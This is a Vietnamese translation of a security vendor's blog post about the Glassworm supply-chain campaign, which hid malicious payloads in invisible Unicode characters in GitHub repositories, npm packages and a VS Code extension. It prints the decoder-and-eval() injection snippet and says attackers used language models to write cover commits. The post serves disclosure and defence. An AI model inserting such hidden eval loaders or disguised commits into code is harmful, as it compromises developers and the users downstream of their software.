Glassworm đã trở lại: Một làn sóng tấn công Unicode vô hình mới tấn công các kho lưu trữ
Security·Hacker News·0 lượt xem

Glassworm đã trở lại: Một làn sóng tấn công Unicode vô hình mới tấn công các kho lưu trữ

Glassworm Is Back: A New Wave of Invisible Unicode Attacks Hits Repositories

Cuộc tấn công chuỗi cung ứng Glassworm đã quay trở lại. Các nhà nghiên cứu đã phát hiện ra phần mềm độc hại ẩn trong các ký tự Unicode vô hình trên hơn 150 kho lưu trữ GitHub, cùng với các gói npm và tiện ích mở rộng VS Code.

Mối đe dọa vô hình mà chúng tôi theo dõi gần một năm đã quay trở lại. Trong khi Chiến dịch PolinRider gây chú ý về việc xâm phạm hàng trăm kho lưu trữ GitHub, chúng tôi đang chứng kiến ​​một làn sóng hoạt động Glassworm mới tấn công GitHub, npm và VS Code.

Vào tháng 10 năm ngoái, chúng tôi đã viết về cách các ký tự Unicode ẩn được sử dụng để xâm phạm kho lưu trữ GitHub, truy tìm kỹ thuật này quay trở lại kẻ gây ra mối đe dọa có tên Glassworm. Trong tháng này, tác nhân tương tự đã quay trở lại và trong số các kho lưu trữ bị ảnh hưởng có một số cái tên đáng chú ý: kho lưu trữ từ Wasmer, Rewormopencode-bench từ anomalyco, tổ chức đứng sau OpenCode và SST.

Một năm của chiến dịch mã vô hình

  • Tháng 3 năm 2025: Aikido lần đầu tiên phát hiện các gói npm độc hại ẩn tải trọng bằng ký tự PUA Unicode
  • Tháng 5 năm 2025: Chúng tôi xuất bản blog nêu chi tiết các rủi ro của Unicode vô hình và cách nó có thể bị lạm dụng trong các cuộc tấn công chuỗi cung ứng
  • Ngày 17 tháng 10 năm 2025: Chúng tôi phát hiện tiện ích mở rộng bị xâm phạm trên Open VSX bằng kỹ thuật tương tự
  • Ngày 31 tháng 10 năm 2025: Chúng tôi phát hiện rằng những kẻ tấn công đã chuyển trọng tâm sang kho GitHub
  • Tháng 3 năm 2026: Một làn sóng lớn mới xuất hiện: hàng trăm kho lưu trữ GitHub bị xâm phạm, npm và VS Code cũng bị ảnh hưởng.

Giới thiệu nhanh

Trước khi đi sâu vào quy mô của làn sóng mới này, hãy tóm tắt lại cách thức hoạt động của cuộc tấn công này. Ngay cả sau nhiều tháng phủ sóng, nó vẫn tiếp tục khiến các nhà phát triển và công cụ mất cảnh giác.

Thủ thuật dựa trên các ký tự Unicode vô hình: các đoạn mã được hiển thị dưới dạng không có gì trong hầu hết mọi trình soạn thảo, thiết bị đầu cuối và giao diện đánh giá mã. Những kẻ tấn công sử dụng các ký tự vô hình này để mã hóa tải trọng trực tiếp bên trong những gì dường như là một chuỗi trống. Khi thời gian chạy JavaScript gặp phải nó, một bộ giải mã nhỏ sẽ trích xuất các byte thực và chuyển chúng đến eval().

Việc chèn trông như thế này. Hãy nhớ rằng khoảng trống rõ ràng trong các dấu gạch ngang trống bên dưới hoàn toàn trống rỗng:

const s = v => [...v].map(w => (
 w = w.codePointAt(0),
 w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
  w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);

eval(Buffer.from(s(``)).toString('utf-8' ));

Chuỗi backtick được truyền tới s() trông có vẻ trống rỗng đối với mọi người xem nhưng nó chứa đầy các ký tự vô hình mà khi được giải mã sẽ tạo ra toàn bộ tải trọng độc hại. Trong các sự cố trước đây, tải trọng được giải mã đó đã tìm nạp và thực thi tập lệnh giai đoạn hai sử dụng Solana làm kênh phân phối, có khả năng đánh cắp mã thông báo, thông tin xác thực và bí mật.

Quy mô của Làn sóng tháng 3 năm 2026

Chúng tôi đang quan sát một chiến dịch quy mô lớn của kẻ đe dọa Glassworm lan rộng khắp các kho lưu trữ nguồn mở. Tìm kiếm mã GitHub cho mẫu bộ giải mã hiện trả về ít nhất 151 kết quả phù hợp kho lưu trữ và con số đó đánh giá thấp phạm vi thực sự, vì nhiều kho lưu trữ bị ảnh hưởng đã bị xóa vào thời điểm viết bài. Các thỏa hiệp GitHub dường như đã diễn ra trong khoảng thời gian từ ngày 3 đến ngày 9 tháng 3.

Chiến dịch cũng đã mở rộng ra ngoài GitHub. Hiện chúng tôi đang thấy kỹ thuật tương tự được triển khai trong npm và thị trường VS Code, cho thấy Glassworm đang vận hành một nỗ lực thúc đẩy đa hệ sinh thái phối hợp. Điều này phù hợp với mô hình chuyển đổi giữa các cơ quan đăng ký trước đây của nhóm.

<đầu> Gói Hệ sinh thái Phiên bản Ngày @aifabrix/miso-client npm 4.7.2 Ngày 12 tháng 3 năm 2026 @iflow-mcp/watercrawl-watercrawl-mcp npm 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4 Ngày 12 tháng 3 năm 2026 quartz.quartz-markdown-editor Mã VS 0.3.0 Ngày 12 tháng 3 năm 2026

Các kho lưu trữ bị xâm phạm đáng chú ý trên GitHub

Trong số các kho lưu trữ mà chúng tôi đã xác định, một số kho thuộc về các dự án nổi tiếng với số lượng sao có ý nghĩa, khiến chúng trở thành mục tiêu có giá trị cao cho tác động của chuỗi cung ứng hạ nguồn:

Ngụy trang có sự hỗ trợ của AI

Như chúng tôi đã lưu ý trong bài viết tháng 10, các hoạt động tiêm độc hại không xuất hiện dưới những cam kết rõ ràng là đáng ngờ. Những thay đổi xung quanh mang tính thực tế: chỉnh sửa tài liệu, chỉnh sửa phiên bản, cải tiến nhỏ và sửa lỗi phù hợp về mặt phong cách với từng dự án mục tiêu.

Mức độ điều chỉnh dành riêng cho từng dự án này cho thấy rõ ràng rằng những kẻ tấn công đang sử dụng các mô hình ngôn ngữ lớn để tạo ra các cam kết che đậy đầy thuyết phục. Ở quy mô mà chúng ta đang thấy, việc tạo thủ công hơn 151 thay đổi mã riêng biệt trên các cơ sở mã khác nhau đơn giản là không khả thi. 

Phát hiện và bảo vệ

Các mối đe dọa vô hình đòi hỏi phải có biện pháp phòng vệ tích cực. Bạn không thể dựa vào việc xem xét mã trực quan hoặc linting tiêu chuẩn để nắm bắt những gì bạn không thể nhìn thấy. Tại Aikido, chúng tôi đã xây dựng tính năng phát hiện việc tiêm Unicode vô hình trực tiếp vào quy trình quét phần mềm độc hại của chúng tôi.

Nếu bạn đã sử dụng Aikido, các gói này sẽ được gắn cờ trong nguồn cấp dữ liệu của bạn là phát hiện quan trọng 100/100.

Chưa tập Aikido à? Tạo một tài khoản miễn phí và liên kết các kho lưu trữ của bạn. Gói miễn phí bao gồm phạm vi bảo hiểm phát hiện phần mềm độc hại của chúng tôi (không cần thẻ tín dụng).

Cuối cùng, một công cụ có thể ngăn chặn phần mềm độc hại trong chuỗi cung ứng trong thời gian thực khi chúng xuất hiện có thể ngăn chặn sự lây nhiễm nghiêm trọng. Đây là ý tưởng đằng sau Chuỗi an toàn Aikido, một công cụ mã nguồn mở và miễn phí bao quanh npm, npx, sợi, pnpm và pnpx, đồng thời sử dụng cả AI và các nhà nghiên cứu phần mềm độc hại của con người để phát hiện và ngăn chặn những rủi ro mới nhất trong chuỗi cung ứng trước khi chúng xảy ra bước vào môi trường của bạn.

{{cta}

Tác giả: robinhouston

#discussion